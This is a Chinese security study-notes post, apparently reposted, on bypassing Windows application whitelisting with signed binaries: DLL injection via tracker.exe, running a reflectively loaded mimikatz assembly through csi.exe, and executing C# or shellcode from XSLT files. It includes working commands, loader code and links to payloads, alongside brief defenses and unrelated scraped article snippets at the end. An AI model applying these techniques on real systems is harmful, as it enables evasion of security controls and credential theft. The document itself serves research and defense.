Study Notes Weekly No.4(tracker & csi & execute C# from XSLT file)

本文讲的是Study Notes Weekly No.4(tracker & csi & execute C# from XSLT file)About:

use tracker to load dll

use csi to bypass Application Whitelisting

execute C# from XSLT file

目录:

介绍利用tracker.exe加载dll的方法

如何利用csi.exe绕过Windows Device Guard

在XSLT文件转换过程中执行C#代码

0x01 use tracker to load dll

Reference:

https://twitter.com/subTee/status/793151392185589760

简介:

Casey在Twitter分享的一个技巧,利用tracker.exe能够创建进程,注入dll,特别的是tracker.exe来自于SDK中,包含微软的数字签名,本文将要分享利用该技巧的一些心得,补充一个直接利用tracker.exe加载dll的技巧

Tracker.exe:

Tracker.exe is used to start a process and inject FileTracker.dll into it just after creation.
The file accesses of the target process are tracked, and written to a .tlog file

常见目录(需要安装SDK):

C:Program Files (x86)Microsoft SDKsWindowsv8.1AbinNETFX 4.5.1 Tools
C:Program Files (x86)Microsoft SDKsWindowsv10.0AbinNETFX 4.6.1 Toolsx64

语法:

Tracker.exe [选项] [@跟踪器响应文件] /c [命令行]
 /d 文件.dll                : 使用跟踪 dll 文件.dll 启动进程。(默认值: 通过 PATH 提供的 FileTracker.dll)
 /i[f] <路径>               :  用于跟踪日志输出的中间目录。(使用 /if 可立即将路径展开为完整路径)(默认值: 所跟踪进程中的当前目录)
 /o                         : 对每个文件执行跟踪操作
 /m                         : 在跟踪日志中包含缺少的文件,即在进程关闭之前删除的那些文件
 /u                         : 不从跟踪日志中删除重复的文件操作
 /t                         : 跟踪命令行(将展开使用“@文件名”语法指定的响应文件)
 /a                         : 启用扩展跟踪: GetFileAttributes、GetFileAttributesEx
 /e                         : 启用扩展跟踪: GetFileAttributes、GetFileAttributesEx、RemoveDirectory、CreateDirectory
 /k                         : 在跟踪日志文件名中保留完整的工具链
 /r 文件 1;文件 2;..;文件 n : 正在跟踪的主要根输入文件(默认值: 无)
 /c [命令行]                : 要跟踪的命令(必须是最后一个参数)
 /?                         : 本帮助文本

实际测试:

cmd下运行:

Tracker.exe /d test.dll /c cmd.exe

如图,成功加载test.dll

test.dll为默认包含导出函数的dll就好,示例代码如下:

#include "stdafx.h"
#include <windows.h>
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
           )
{
  switch (ul_reason_for_call)
  {
  case DLL_PROCESS_ATTACH:
    MessageBox(NULL,L"testexport", L"testexport",MB_OK);
  case DLL_THREAD_ATTACH:
  case DLL_THREAD_DETACH:
  case DLL_PROCESS_DETACH:
    break;
  }
  return TRUE;
}

分析:

这个技巧有如下特点:

tracker.exe包含微软数字签名,可绕过应用程序白名单的限制
tracker.exe可以在启动进程的同时加载dll

但是如果只想通过tracker.exe加载dll的话,存在以下问题:

选择不存在或是权限不够的进程,无法加载dll

但是,可以通过一个特殊的进程来解决这个问题,如svchost.exe,那么在加载dll后,进程svchost.exe可以自动退出,这就实现了通过tracker.exe加载dll

防御:

对tracker.exe添加黑名单规则

0x02 use csi to bypass Application Whitelisting

Reference:

http://subt0x10.blogspot.com/2016/09/application-whitelisting-bypass-csiexe.html

简介:

同样是利用带有微软签名的exe绕过白名单的技巧,Matt Graeber曾介绍过如何利用cdb.exe绕过Windows Device Guard,Casey这次介绍的是使用C#相关的csi.exe绕过Windows Device Guard的技巧,本文将分享这个技巧的研究心得,并完成Casey在博客中留给读者的作业——在win10未安装VS2015的环境下如何使用csi.exe

csi.exe:

在Visual Studio 2015 Update 1引入

安装后位置在C:Program Files (x86)MSBuild14.0Bin

实际测试:

测试系统:

Win10 安装Visual Studio 2015

1.在csi编译环境中直接执行代码

直接运行csi.exe会进入编译环境,可在里面直接填入代码并运行

如图

测试Casey在文章中的代码,从文件中读取base64加密过的mimikatz.exe,解密执行,代码如下:

using System;
using System.Reflection;
string s = System.IO.File.ReadAllText(@"c:testkatz.txt");
byte[] b = System.Convert.FromBase64String(s);
Assembly a = Assembly.Load(b);
MethodInfo method = a.EntryPoint;
object o = a.CreateInstance(method.Name);
method.Invoke(o, null);

mimikatz.exe作base64加密后保存的文件katz.txt已上传,地址为: 
https://raw.githubusercontent.com/3gstudent/test/master/katz.txt

测试如图,成功解密并执行mimikatz.exe

2.执行.csx文件中的代码

将上述测试代码写在katz.csx文件中

csi编译环境下运行:

#load "c:testkatz.csx"

注:

文件路径必须包含双引号,load前缀#

测试如图,成功执行

3.在cmd下运行

可在cmd下csi.exe后面直接加.csx文件的路径

例如:

"C:Program Files (x86)MSBuild14.0Bincsi.exe" c:testkatz.csx

测试如图,成功执行

当然,在Win10上面不是必须安装vs2015才能使用csi.exe,这也是Casey留给读者的作业,找到csi.exe使用需要的依赖项

我已经完成了这个作业,依赖项文件最少需要6.77MB,可在csi.exe的同级目录C:Program Files (x86)MSBuild14.0Bin下找到,将csi.exe及其依赖性上传到Win10系统即可直接使用

依赖项文件列表如下:

Microsoft.CodeAnalysis.CSharp.dll
Microsoft.CodeAnalysis.CSharp.Scripting.dll
Microsoft.CodeAnalysis.dll
Microsoft.CodeAnalysis.Scripting.dll
System.AppContext.dll
System.Collections.Immutable.dll
System.IO.FileSystem.dll
System.IO.FileSystem.Primitives.dll
System.Reflection.Metadata.dll

补充:

该方法只用于Win10

防御: 
Matt Graeber分享了他的应对方法,更新了Device Guard Bypass MitigationRules,地址如下:

https://twitter.com/mattifestation/status/781211230065332224

https://github.com/mattifestation/DeviceGuardBypassMitigationRules/

0x03 execute C# from XSLT file

Reference:

https://twitter.com/subTee/status/796737674954608641

POC地址:

https://gist.github.com/subTee/c34d0499e232c1501ff9f0a8dd302cbd#file-script-ps1

简介:

Casey在Twitter分享了一个有意思的技巧,在XSLT文件转换的过程中执行C#代码,本节将分享这个技巧的心得,并扩充POC,结合之前的经验,实现通过XSLT文件执行shellcode

XSLT:

XSLT是extensible stylesheet language transformation(扩展样式表转换语言)的缩写

用于将XML文档转换成以下一种格式:

HTML
XML
XHTML
XSLT
文本

在转换操作的过程中,可以执行c#或VB代码,同VisualStudio Persistence中在编译过程执行代码类似

XSLT在web前端中用的比较多

实际测试:

将calc.xslt,example.xml,script.ps1三个文件放于同级目录,设置script.ps1中的路径变量$path

执行script.ps1,生成output.xml,弹出计算器,如图

参考如下链接可获得编写XSLT的更多提示: 
https://msdn.microsoft.com/en-us/library/wxaw5z5e(v=vs.110).aspx

于是基于之前的研究,实现了通过XSLT调用C#执行shellcode,地址如下:

https://github.com/3gstudent/Execute-CSharp-From-XSLT-TEST/

注:主要是修改了calc.xslt文件

原文发布时间为:2017年1月28日

本文作者:3gstudent 

本文来自合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

原文链接

时间: 2024-12-02 16:28:27

Study Notes Weekly No.4(tracker & csi & execute C# from XSLT file)的相关文章

jQuery Study Notes学习笔记 (二)_jquery

1. 使用class与id选择HTML元素 选择id为"myDivId"的元素.由于id是唯一的,所以总是选择到1个或0个元素 复制代码 代码如下: $('#myDivId') 选择class为"myCssClass". 可以选择任何多个class为"myCssClass"的元素. 复制代码 代码如下: $('.myCssClass') 获取或设置元素的值 复制代码 代码如下: var myValue = $('#myDivId').val();

JQuery Study Notes 学习笔记(一)_jquery

1. 使用jquery 到jquery.com下载jquery.js当前版本是1.4.2 新建一个html页面 复制代码 代码如下: <!DOCTYPE html><BR><html lang="en"><BR><head><BR>   <meta http-equiv="Content-Type" content="text/html; charset=utf-8"&

GhostScript命令参数详解

本文列出几个常用参数,然后下面附上官方的参数详解: 一.常用参数解释 这是一个测试的命令:gs -dQUIET -dNOSAFER -r300 -dBATCH -sDEVICE=pngalpha -dNOPAUSE -dNOPROMPT -sOutputFile=/opt/shanhy/testpng/%d.png /opt/shanhy/test.pdf Linux 中,到文件gs所在目录执行. Windows 中,到GhostScript安装目录下的bin目录下执行 gswin64c 或者

利用Oracle RDA( Remote Diagnostic Agent)快速收集Oracle产品分析数据

利用Oracle RDA( Remote Diagnostic Agent)快速收集Oracle产品分析数据  原文地址:利用Oracle RDA快速收集Oracle产品分析数据 作者:尛样儿         Remote Diagnostic Agent (RDA) 是一个工程师用Perl语言编写的命令行诊断工具,RDA提供统一的诊断工具支持包和预防的解决方法.提供给Oracle支持收集的客户环境全面的数据信息能够帮助问题的诊断.         Oracle支持鼓励使用RDA,因为它能对于更

手把手教你webpack3(1)最简单的webpack实例

0.前注 本文内容源于webpack中文文档,以及我自己实践中写的若干DEMO. 每个DEMO以文件夹为单位,从入门到进阶,根据文件夹编号为准,逐步递进. 成文时,webpack版本是[3.8.1] 0.1.安装webpack 首先你需要安装Node.js,点击打开Node.js下载页面.安装完Node.js后,会自带npm包管理器. npm install webpack -g 这个命令将安装最新版本的webpack(全局,学习教程中推荐,避免多次安装.但实践中还是有必要一个项目一个webpa

Visual studio 2005下xml的xsl转换调试

visual|xml|转换 在.net Framework 2.0中,使用XslCompiledTransform类取代了原来1.x中的XslTransform类,笔者测试了一下对xml的转换处理性能确实提高许多.XslCompiledTransform支持 XSLT 1.0 语法的 XSLT.突出的新功能是她提供了在VS 2005中对xslt样式表文件的调试能力.编写代码过程相当简单. XslCompiledTransform xslt = new XslCompiledTransform(t

VBNET安装工程的技巧与实现

技巧 刚听了SMART CLIENT部署的讲座,里面详细讲述了如果在.NET安装工程里运行自定义的DLL或者EXE,以后在自定义的工程中如何得到安装工程的传递过来的参数.下面大致说一下自己的心得:首先,是制作一个类工程.然后添加一个安装类文件,并添加一个SQL.TXT文件,当作嵌入的资源,类的代码如下,在后面再做说明: Dim Cn As SqlConnection '得到SQL脚本字符串 Private Function GetSql(ByVal Name As String) As Stri

linux2.6.17设备节点创建的问题

问题描述 linux2.6.17设备节点创建的问题 我的内核版本linux2.6.17,想在内核中添加一个驱动,模块加载初始化代码如下:#define DEVICE_NAME ""mydev""static struct class *my_class;static dev_t mydev = 0;static struct cdev mycdev;static int __init FM24CL64_init(void){ int reterr;ret = all

Mysql 5.5.x以及以前版本mysql编译参数对比

从mysql5.5起,MySQL源码安装开始使用cmake.下面是 mysql 5.5 与以前的参数对照: 1. 命令语法:重新编译时,需要清除旧的对象文件和缓存信息 # make clean # rm -f  CMakeCache.txt 2.安装选项 CMAKE_INSTALL_PREFIX值是安装的基本目录,其他cmake选项值是不包括前缀,是相对路径名,绝对路径包括 CMAKE_INSTALL_PREFIX路径.如-DINSTALL_SBINDIR=sbin的绝对路径是/usr/loca